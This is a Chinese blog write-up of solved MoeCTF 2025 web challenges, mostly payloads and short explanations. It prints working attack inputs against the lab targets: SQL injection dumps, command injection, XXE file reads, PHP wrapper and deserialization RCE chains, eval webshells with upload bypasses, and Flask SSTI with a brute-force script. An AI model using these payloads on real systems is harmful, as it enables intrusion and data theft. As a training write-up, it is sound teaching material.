MoeCTF-2025-WEB WP

前言:心血来潮,突然想到刚刚打CTF的时候学长让我复现的Moe西电CTF还没打完,wp也没怎么写,还有一个比较抓马的就是当时不知道终端可以提交flag,一个没交QWQ。正好之前有一段时间在学渗透,没打CTF,靠这个复习一下之前学的知识吧。西电的这个CTF的WEEK1~2有点像当时我们的招新赛很简单很入门,挺适合初学者边学边练的,但主要还是要了解各个漏洞的原理,不能只以解题为目的。现在学了小半年来做感觉简单多了,之前一道题可能都要做好久,现在一个晚上能做十几道题了^^

WEEK1

01 第一章 神秘的手镯

法一

image-20260518204418046

f12在前端代码中可以看到flag

法二

f12+f1禁用js

image-20260518204421422

就可以复制了

02 第二章 初识金曦玄轨

抓包在前端代码中找到地址

image-20260518203642532

注:请求体第一行 GET / HTTP/1.1 第一个/是网站的根目录,该网站根目录为/var/www/html

image-20260518203645357

将请求头中的网站根目录改为/golden_trail发送请求

访问/golden_trail是访问服务器的/var/www/html目录下的/golden_trail

image-20260518203647816

03 第三章 问剑石!篡天改命!

看到题目需要修改天赋和光芒

image-20260518203650660

image-20260518203653423

发现一开始的天赋是B,光芒是none,抓包看看,将两个参数修改,得到flag

image-20260518203656691

04 第四章 金曦破禁与七绝傀儡阵

第一关是get传参

payload

1
?key=xdsec

image-20260518203708366

得到第一个碎片

1
bW9lY3Rme0Mw

第二关是POST传参

payload

1
declaration=织云阁=第一

image-20260518203711179

得到第二块碎片

1
bjZyNDd1MTQ3

第三关伪造本地请求,就是利用XFF头

payload

1
X-Forwarded-For: 127.0.0.1

image-20260518203716193

第三片碎片

1
MTBuNV95MHVy

第四关考察UA头,伪造moe browser浏览器访问

image-20260518203719785

1
User-Agent: moe browser

image-20260518203723124

第四块碎片

1
X2g3N1BfbDN2

第五关考的cookie身份认证

image-20260518203726015

payload

1
Cookie: user=xt

image-20260518203728667

第五片碎片

1
M2xfMTVfcjM0

第六关考察的是referer网页构造

image-20260518203731208

payload

1
Referer: http://panshi/entry

image-20260518203734038

第六块碎片

1
bGx5X2gxOWgh

第七关考察的是PUT请求

image-20260518203736495

在bp修改请求头为PUT,在请求体处添加新生!

image-20260518203739022

得到第七个碎片

1
fQ==

然后将得到的碎片拼接

1
bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==

base64解码得到flag

1
moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

05 第五章 打上门来!

看到题目提示,很明显是路径穿越

image-20260518203743071

在此处有访问路径的地方

image-20260518203746066

根据题目构造../路径访问上一级文件,看到flag文件,点击查看即可

image-20260518203749003

1
moectf{a11_1nPuT-is-malIcl0U515cbc9eb}

06 第六章 藏经禁制?玄机初探!

是一个登录界面,第一反应是弱口令爆破或者sql

image-20260518203751542

尝试弱口令admin:admin之后显示登录失败,但可以看到是通过get传参,抓包试一下

image-20260518203754402

再看眼题目内容,发现提示是数据库,那就是sql注入了

image-20260518203756878

先在username尝试一下万能密码,password随便填都行

payload

1
?username=1'or 1=1#&password=1

image-20260518203759722

1
moectf{WELCom3_TO_5Ql_inj3cTIonll66755ff}

07 第七章 灵蛛探穴与阴阳双生符

提示爬虫,直接尝试robots.txt

image-20260518203802772

payload

1
/robots.txt

看到了flag.php文件

image-20260518203805340

看到了一段源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');

$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";

if($a == $b){
die("error 1");
}

if(md5($a) != md5($b)){
die("error 2");
}

echo $flag;

代码审计

ab需要满足值相等但MD5值不等,这里看到是弱比较

payload

1
?a=240610708&b=0e215962017

image-20260518203808152

1
moectf{MD5_i5-N0t_s@FE1!1c029591dc2}

08 第八章 天衍真言,星图显圣

和之前一样是一个登录界面,但看到下面的提示,这里就不是简单的万能密码了,需要利用联合注入

image-20260518203827480

payload

1
username=-1' union select 1,2#&password=1

image-20260518203836488

回显点在1

image-20260518203839261

payload2

1
username=-1' union select database(),2#&password=1

数据库名为user

image-20260518203841678

payload3

1
username=-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#

表名为flag

image-20260518203844329

爆破字段名得到value

payload4

1
username=-1' union select group_concat(column_name),2 from information_schema.columns where table_name='flag'#

image-20260518203850068

爆破字段内容

payload5

1
username=-1' union select group_concat(value),2 from flag#

image-20260518203902495

1
moectf{uNloN_B4SeD_5qI1_FTW1!8c747606}

Moe笑传之猜猜爆

是一个猜数字的界面,只能猜一次,并且每一都不一样好像

image-20260518203905613

F12在调试器中看到js源码

image-20260518203908427

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
let randomNumber = Math.floor(Math.random()*10000) + 1; // 1-10000
const guesses = document.querySelector('.guesses');
const lastResult = document.querySelector('.lastResult');
const lowOrHi = document.querySelector('.lowOrHi');
const guessBtn = document.getElementById('guessBtn');
const guessField = document.getElementById('guessField');

let guessCount = 1;
let resetButton;

function checkGuess() {
let userGuess = Number(guessField.value);
if(guessCount === 1) {
guesses.textContent = '上次猜的数:';
}
guesses.textContent += userGuess + ' ';

if(userGuess === randomNumber) {
lastResult.textContent = '恭喜你!猜对了!';
lastResult.style.backgroundColor = 'green';
lowOrHi.textContent = '';
guessField.disabled = true;
guessBtn.disabled = true;
// 猜对后请求flag
fetch('/flag', {method: 'POST'})
.then(res => res.json())
.then(data => {
document.querySelector('.flagResult').textContent = "FLAG: " + data.flag;
});
setGameOver();
} else {
lastResult.textContent = '!!!游戏结束!!!';
lastResult.style.backgroundColor = 'red';
if(userGuess < randomNumber) {
lowOrHi.textContent = '你刚才猜低了!';
} else if(userGuess > randomNumber) {
lowOrHi.textContent = '你刚才猜高了!';
}
guessField.disabled = true;
guessBtn.disabled = true;
setGameOver();
}

guessCount++;
guessField.value = '';
guessField.focus();
}
guessBtn.addEventListener('click', checkGuess);

function setGameOver() {
resetButton = document.createElement('button');
resetButton.textContent = '开始新游戏';
document.body.appendChild(resetButton);
resetButton.addEventListener('click', resetGame);
}

function resetGame() {
guessCount = 1;
const resetParas = document.querySelectorAll('.resultParas p');
for(let i = 0; i < resetParas.length; i++) {
resetParas[i].textContent = '';
}
resetButton.parentNode.removeChild(resetButton);

guessField.disabled = false;
guessBtn.disabled = false;
guessField.value = '';
guessField.focus();

lastResult.style.backgroundColor = 'white';

randomNumber = Math.floor(Math.random()*10000) + 1; // 1-10000
}

看到正确的随机数是randomNumber

1
2
3
4
5
if(userGuess < randomNumber) {
lowOrHi.textContent = '你刚才猜低了!';
} else if(userGuess > randomNumber) {
lowOrHi.textContent = '你刚才猜高了!';
}

直接把randomNumber放在控制台然后回车可以得到正确的数

image-20260518203917664

得到flag

1
moectf{983b9fde-21dd-e459-8db8-678d57350459}

或者可以看到这里有请求flag的代码

1
2
3
4
5
6
// 猜对后请求flag
fetch('/flag', {method: 'POST'})
.then(res => res.json())
.then(data => {
document.querySelector('.flagResult').textContent = "FLAG: " + data.flag;
});

同样把它放到控制台也能直接得到flag

image-20260518203920498

WEEK2

09 第九章 星墟禁制·天机问路

发现有输入url的地方,这种可以利用分隔符执行多个命令,|前面可以执行ping命令,后面可以执行任意命令

payload

1
127.0.0.1|ls

image-20260518203922930

看一下根目录,发现没有flag文件

1
127.0.0.1|ls \

image-20260518203925323

那就直接看一下环境变量

1
127.0.0.1|env

image-20260518203927635

1
moectf{ab051473-1ae5-2d54-48b7-f5b9f1d0e8aa}

10 第十章 天机符阵_revenge

这里有一个输入框,随机输入1看一下回显,看到DOMDocument::loadXML(): ,很明显考的是XXE

image-20260518203929969

payload

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<root>
<阵枢>引魂玉</阵枢>
<解析>&xxe;</解析>
<输出>1</输出>
</root>

<?xml version="1.0" encoding="UTF-8"?>:版本声明,可写可不写

<!DOCTYPE root [……]>:定义文档类型,其中包含一个外部实体声明

<!ENTITY xxe SYSTEM "file:///flag.txt">:声明了一个xxe的外部实体,利用了file协议,指向了服务器上的flag.txt文件

<解析>&xxe;</解析>:在xml中引用外部实体

当存在 XXE 漏洞的 XML 解析器处理这段代码时,会尝试加载/flag.txt文件的内容,并将其替换到&xxe;的位置,从而可以获取到/flag.txt的文件内容

1
moectf{c0a5611e-97e8-4c10-ef1c-36909760ab68}

11 第十一章 千机变·破妄之眼

看到题目内容需要满足参数名等于参数值,且只由mnopq五个字母组成

image-20260518203932985

这里很容易想到进行爆破,但是我们首先需要准备好爆破字典,也就是mnopq的排列组合,这个数量还是挺多的,可以让ai给我们

用脚本生成

1
2
3
4
5
from itertools import permutations

letters = ['m', 'n', 'o', 'p', 'q']
for p in permutations(letters):
print(''.join(p))

然后在bp进行爆破,也可以直接写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import itertools
import requests

BASE = "http://127.0.0.1:54855/"
TIMEOUT = 5

# 先获取原始页面,作为基线
baseline = requests.get(BASE, timeout=TIMEOUT)
baseline_text = baseline.text
baseline_code = baseline.status_code
baseline_len = len(baseline_text)

print(f"[基线] 状态码={baseline_code}, 长度={baseline_len}")

# 穷举所有参数排列
for perm in itertools.permutations("mnopq"):
k = "".join(perm)
try:
resp = requests.get(BASE, params={k: k}, timeout=TIMEOUT)
if resp.text != baseline_text:
print("\n[⚡ 不一样啦!]")
print("参数名:", k)
print("URL:", resp.url)
print("状态码:", resp.status_code)
print("返回长度:", len(resp.text), " (基线:", baseline_len, ")")
print("返回片段:\n", resp.text[:500])
break
else:
print(f"试 {k} -> 一样")
except Exception as e:
print(f"试 {k} 出错: {e}")

image-20260518204029779

爆破成功后看到了/find.php

有flag.php但是无法直接查看

image-20260518204032094

可以利用filter伪协议

payload

1
php://filter/read=convert.base64-encode/resource=./flag.php

image-20260518204034667

base64解码得到

1
moectf{dc021eda-ca38-3a36-c937-1c29c6a45343}

12 第十二章 玉魄玄关·破妄

直接是一句话木马,直接蚁剑连接,密码是cmd

image-20260518204037804

image-20260518204040321

没看到flag目录的话可以在环境变量中找

1
/proc/self/environ

image-20260518204042775

1
moectf{bb67019a-19a4-ec80-62e9-08e6ebad7f76}

13 第十三章 通幽关·灵纹诡影

一看就是一道文件上传,只能传图片格式(很经典了

image-20260518204044959

尝试上传一句话木马,但是失败了

image-20260518204047381

看到回显要求校验的是ffd8ff,需要一个php文件,但文件头是jpg

首先010中创建一个php文件,点击Hex以十六进制查看,写入jpg的文件头

image-20260518204049884

然后就是写一句话木马

1
<?php eval($_POST['shell']); ?>

image-20260518204052365

然后上传这个文件,上传成功后会得到对应的路径

image-20260518204055163

蚁剑连接

image-20260518204057593

链接成功后在flag.txt中找到flag

image-20260518204059961

1
moectf{4afe9f61-0bd3-fab8-ecd2-58345fb43490}

14 第十四章 御神关·补天玉碑

看到题目提示,上传Apache文件

image-20260518204102122

先上传一个Apache文件

1
2
3
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这个Apache文件的原理就是可以把1.jpg中解析成php,然后再上传1.jpg文件,里面的内容是上一题的一句话木马,依旧上传成功可以得到路径

image-20260518204104403

然后去连接蚁剑

image-20260518204106854

连接成功,得到flag

1
moectf{963055f4-98ae-b8d4-e9bd-cf47add8a969}

摸金偶遇FLAG,拼尽全力难战胜

是一个小游戏,要在规定时间内解出9个莫斯密码,但规定时间只要3秒

image-20260518204110101

显然完不成,就抓包看看,抓了开始游戏的包

image-20260518204112808

看到这个游戏的机制就是在点击开始游戏时,会随机生成九个数和token,看一下源码,关键部分也写明了token的生成逻辑

image-20260518204115226

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function generateRandomDigitArray(length) {
return new Promise((resolve, reject) => {
fetch(`/get_challenge?count=${length}`)
.then((response) => {
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return response.json();
})
.then((data) => {
if (data.error) {
reject(data.error);
} else {
const real = data.numbers;
const guess = Array.from({ length }, () => null);
myToken = data.token; // 保存 token 到 myToken
resolve({ real, guess });
}
})
.catch((error) => {
console.error("Error fetching challenge data:", error);
reject("Failed to fetch challenge data.");
});
});
}

输入正确的9位密码后,在/verify路由下通过POST方式传参,会进行answer和token的校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
fetch("/verify", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
answers: realCode,
token: myToken //realCode和myToken作为全局变量,
})
})
.then((response) => response.json())
.then((data) => {
if (data.correct) {
const flag = data.flag || "无法获取flag";
$(".computerTitle").text(`破译完成,已获取如下权限: ${flag}`);
} else {
$(".computerTitle").text(`破译失败: ${data.message || "未知错误"}`);
}
})
.catch((error) => {
console.error("Error verifying solution:", error);
$(".computerTitle").text("破译完成,但无法获取权限内容");
});
$(".decode-item-block").show();
$(".leftPanel,.inputPanel").hide();
return (
">>> 骇入成功" +
(limitChallenge ? `,挑战用时:${passedTime} 秒` : "")
);
}
}

整体逻辑就是先在/get_challenge?count=9路由中得到正确的密码和token,再将它发送到/verify进行校验

可以利用js代码直接在控制台运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
(async function getFlag(count = 9) {
try {
console.log("[*] 请求 /get_challenge ...");
const r = await fetch(`/get_challenge?count=${count}`, { credentials: 'same-origin' });
if (!r.ok) throw new Error("get_challenge HTTP " + r.status);
const data = await r.json();
if (data.error) throw new Error("get_challenge error: " + data.error);

console.log("[*] 收到 challenge:", data);
// data.numbers 应为数组, data.token 为 token
const payload = {
answers: data.numbers,
token: data.token
};

console.log("[*] 提交 /verify ...", payload);
const v = await fetch("/verify", {
method: "POST",
credentials: 'same-origin',
headers: { "Content-Type": "application/json" },
body: JSON.stringify(payload)
});

if (!v.ok) throw new Error("verify HTTP " + v.status);
const result = await v.json();
console.log("[*] verify 返回:", result);

if (result.correct) {
console.log("%cFLAG => " + (result.flag || "(后端未返回 flag 字段)"), "color: green; font-weight: bold; font-size: 14px;");
} else {
console.warn("提交未通过,后端消息:", result);
}
} catch (err) {
console.error("发生错误:", err);
}
})();

image-20260518204123062

1
moectf{c11cd1aa-c2ce-9ab8-3614-8d1ff820d4fa}

WEEK3

01 第一章 神秘的手镯_revenge

看到题目内容说有备份,尝试wanyanzhou.txt.bak,下载到备份文件

image-20260518204125541

然后用记事本打开,就得到了密码

image-20260518204128003

一开始在这个界面发现不能复制粘贴

image-20260518204130243

利用开发者工具,按F12+F1,禁用JS,就可以复制粘贴了,题目中又说要发送500次,利用bp抓包,发送到攻击器中

image-20260518204132745

选择NULL payloads,无限重复,然后开始攻击,发包500次后,再看页面就有flag了

image-20260518204135123

15 第十五章 归真关·竞时净魔

看题目内容还是文件上传,提示了上传的路径

image-20260518204137624

在这个路径下可以看到上传的历史文件,一开始感觉是配置文件,但发现过滤很严,传不了配置文件,但是注意到题目名是“竞时”,就想到了利用条件竞争,连续发包然后一直刷新界面,就会看到,会有php文件上传成功,但是很快又会被删掉(很没招啊,想截图的但是每次刷新太快都没截到就放弃了,但是不影响做题

image-20260518204140835

所以就可以利用条件竞争,通过不断发包去访问

将内容回显到文件中,这样只要上传成功,虽然php文件会被删掉,但是它执行后我们写入的那个文件依然保留

1
<?php system('ls  > 1.txt');?>

然后还要访问上传的php文件,并且依旧要一直发包

image-20260518204143383

然后过一会就能看到写入的1.txt文件

image-20260518204145753

然后尝试读取根目录下的文件,这里需要把php的文件名改一下,然后重复上面的发包操作,就会看到2.txt文件,访问一下,就能看到目录下有flag.txt文件

1
<?php system('ls /  > 2.txt');?>

image-20260518204148176

修改payload,重新发包

1
<?php system('cat /flag.txt  > 3.txt');?>

image-20260518204150332

image-20260518204155498

要刷新一会就能看到3.txt

image-20260518204157902

访问得到flag

image-20260518204200257

1
moectf{18437019-9749-246d-f526-3fb6b0992bdc}

16 第十六章 昆仑星途

打开就能直接看到源码

1
2
3
4
5
<?php
error_reporting(0);
highlight_file(__FILE__);

include($_GET['file'] . ".php");

有include,像是文件包含,get参数后拼接了.php文件,尝试利用php伪协议读取index源码,可以读到

payload

1
?file=php://filter/read=convert.base64-encode/resource=index

但是尝试读取flag.php文件就无法读到,应该是把flag文件的名称改了,那就换一个伪协议,用data伪协议执行rce

payload

1
?file=data://text/plain,<?php system('ls /');?>

image-20260518204208662

果然是把flag文件名给改了

1
?file=data://text/plain,<?php system('cat /flag-U8NllOaJ0q6VU6WEEHEC9EdX69Uf9i.txt');?>

image-20260518204211446

1
moectf{7d411b86-38d4-558b-785f-0c9b51171bce}

17 第十七章 星骸迷阵·神念重构

依旧给源码,一看就是比较入门的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}

定义了一个A类,运用了__destruct()的魔术方法

1
eval($this->a);

很容易看到这里是利用点,将属性a赋值php代码通过eval执行,进行rce

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

$A = new A();
$A->a = 'system("ls /");'; #之后再改成cat /flag就行
echo(serialize($A));

image-20260518204214676

payload

1
?a=O:1:"A":1:{s:1:"a";s:20:"system("cat%20/flag");";}

image-20260518204217195

1
moectf{cda62fdc-5a3e-ed62-8aeb-e8d6dfec7bda}

18 第十八章 万卷诡阁·功法连环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);

class PersonA {
private $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}

class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}

}

if(isset($_GET['person'])) {
unserialize($_GET['person']);
}

利用点是PersonB中的eval($name);,通过触发work()魔术方法来执行,work()方法是在PersonA类中自定义的,所以需要通过PersonA触发__wakeup()魔术方法来调用

所以构造的思路就是PersonA->__wakeup()->work()->PersonB->work()->eval($name);

这里还有一个就是PersonA中的name属性是私有的,不能直接在外部赋值,同时需要对最后序列化的结果进行url编码

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);

class PersonA {
private $name;
function __construct($name) {
$this->name = $name;
}
}

class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}

}

$PersonB = new PersonB();
$PersonB -> name="system('ls /');";
$PersonA = new PersonA($PersonB);

echo(urlencode(serialize($PersonA)));

payload

1
?person=O%3A7%3A"PersonA"%3A1%3A%7Bs%3A13%3A"%00PersonA%00name"%3BO%3A7%3A"PersonB"%3A1%3A%7Bs%3A4%3A"name"%3Bs%3A15%3A"system%28%27ls+%2F%27%29%3B"%3B%7D%7D

image-20260518204221187

image-20260518204224147

1
moectf{9cb9408b-4044-8104-78a3-78f8aa6e7b3a}

19 第十九章 星穹真相·补天归源

(好长的代码,这才是真正的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
highlight_file(__FILE__);

class Person
{
public $name;
public $id;
public $age;

public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}

class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$age = $this->age;
$name->$id($age);
}
}

class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}
}

class PersonC extends Person
{
public function __Check($age)
{
if(str_contains($this->age . $this->name,"flag"))
{
die("Hacker!");
}
$name = $this->name;
$name($age);
}

public function __wakeup()
{
$age = $this->age;
$name = $this->id;
$name->age = $age;
$name($this);
}
}

if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}

代码审计

把Person作为父类,PersonABC均为它的子类,也就是每个子类不仅有自己的属性和魔术方法,同时还继承了父类的属性和魔术方法,然后整体来看,虽然用到了很多魔术方法只有三个age,name和id还有一个就是在魔术方法中作为参数出现的value。遇到这种长一点的反序列化我习惯先找到它的利用点然后倒推利用链

这里看到一个str_contains函数,原函数用法

1
str_contains(string $haystack, string $needle): bool

作用:检查$haystack中是否包含$needle,并返回bool值

这里利用点感觉在PersonC这个类中

1
2
3
4
5
6
7
if(str_contains($this->age . $this->name,"flag"))
{
die("Hacker!");
}
$name = $this->name;
$name($age);
}

通过$name($age);来实现代码的执行

WEEK4

20 第二十章 幽冥血海·幻语心魔

这里尝试随便输入点东西,发现会返回username的值,就联想到SSTI

image-20260518204229250

进行测试

image-20260518204231868

没错了就是SSTI,那就一点点注入

一个方法是在config全局变量中获得flag

payload1

获取config对象的类

image-20260518203217281

image-20260518204234594

根据返回信息看到是一个python内部的flask框架

payload2

获取类的初始化方法

image-20260518203238643

进行初始化

直接调用全局空间中的os模块利用popen执行命令,read读取结果

payload

image-20260518203250329

image-20260518204237701

1
moectf{fc801e39-a1cf-d9a0-1016-4a4bc1766beb}

这个payload是直接调用了flask内置的config对象,获取其类,访问globals,提取已导入的os模块,调用os.popen,但是这个具有一定的局限性,可能出题人删除了config或者globals中的os,则不能调用

还有一种方法就是更通用的利用路径

payload

image-20260518203312247

'.__class__<class 'str'>

.__base__<class 'object'>(所有类的基类)

.__subclasses__() → 返回所有继承自 object 的子类列表(包括内置类型和用户定义类)

[141] → 假设索引 141 对应的是某个包含 popen 的类(通常是 warnings.WarningMessage 或某些 I/O 相关类,其 __globals__ 中有 subprocessos 的引用)

从该类的 __init__ 函数的 __globals__ 中提取 popen(可能是 os.popensubprocess.Popen 的别名)

这个方法比较麻烦的就是包含popen的类的索引需要找到

查找可用类的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = " "
class_name = "os._wrap_close"

for i in range(500):
payload = f"().__class__.__base__.__subclasses__()[{i}]"
username = "{{" + payload + "}}"
params = {
"username": username,
"password": "123"
}

try:
response = requests.get(url, params=params)
print("索引:", i)
if response.status_code == 200:
if class_name in response.text:
print("找到了:", i)
print("url:", response.url)
break
except Exception as e:
print(f"i={i} 请求出错:{e}")

21 第二十一章 往生漩涡·言灵死局

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)

blacklist = ["__", "global", "{{", "}}"]

@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')

if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎:{username}</div></div>
</div>
""")

for blk in blacklist:
if blk in username:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>Error</div></div>
</div>
"""
else:
login_msg = ""

return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

打开还是刚刚那个界面,但是在题目中看到了blacklist黑名单

image-20260518204321479

看到过滤了双下划线可以利用request方法绕过:__class__——>[requests.args.class]

过滤了{{}}花括号,可以利用{%print()%}绕过

给的wp中的方法是利用config类

payload1

image-20260518204318984

image-20260518204248919

payload2

lipsum是一个内置函数,本质上是一个 Python 函数对象,因此具有 __globals__ 属性,指向其定义时所在模块的全局命名空间

image-20260518203350507

image-20260518204251704

也可以用另一种通用路径打

原payload

image-20260518203446669

但是因为有黑名单,可以利用十六进制编码绕过,下划线十六进制为\x5f\x5f,globals十六进制为\x67\x6c\x6f\x62\x61\x6c\x73

payload

image-20260518204305424

22 第二十二章 血海核心·千年手段

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')

if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>Welcome: {username}</div></div>
</div>
"""
render_template_string(login_msg)
else:
login_msg = ""

return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

这个源码和之前的差不多,唯一区别就是在于

1
2
3
4
5
6
7
8
9
10
11
12
else:
login_msg = f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>Welcome: {username}</div></div>
</div>
"""
render_template_string(login_msg)
else:
login_msg = ""

return render_template("index.html", login_msg=login_msg)

MoeCTF-2025-WEB WP
https://colourful228.github.io/2026/05/08/MoeCTF-2025/
作者
Colourful
发布于
2026年5月8日
更新于
2026年5月18日
许可协议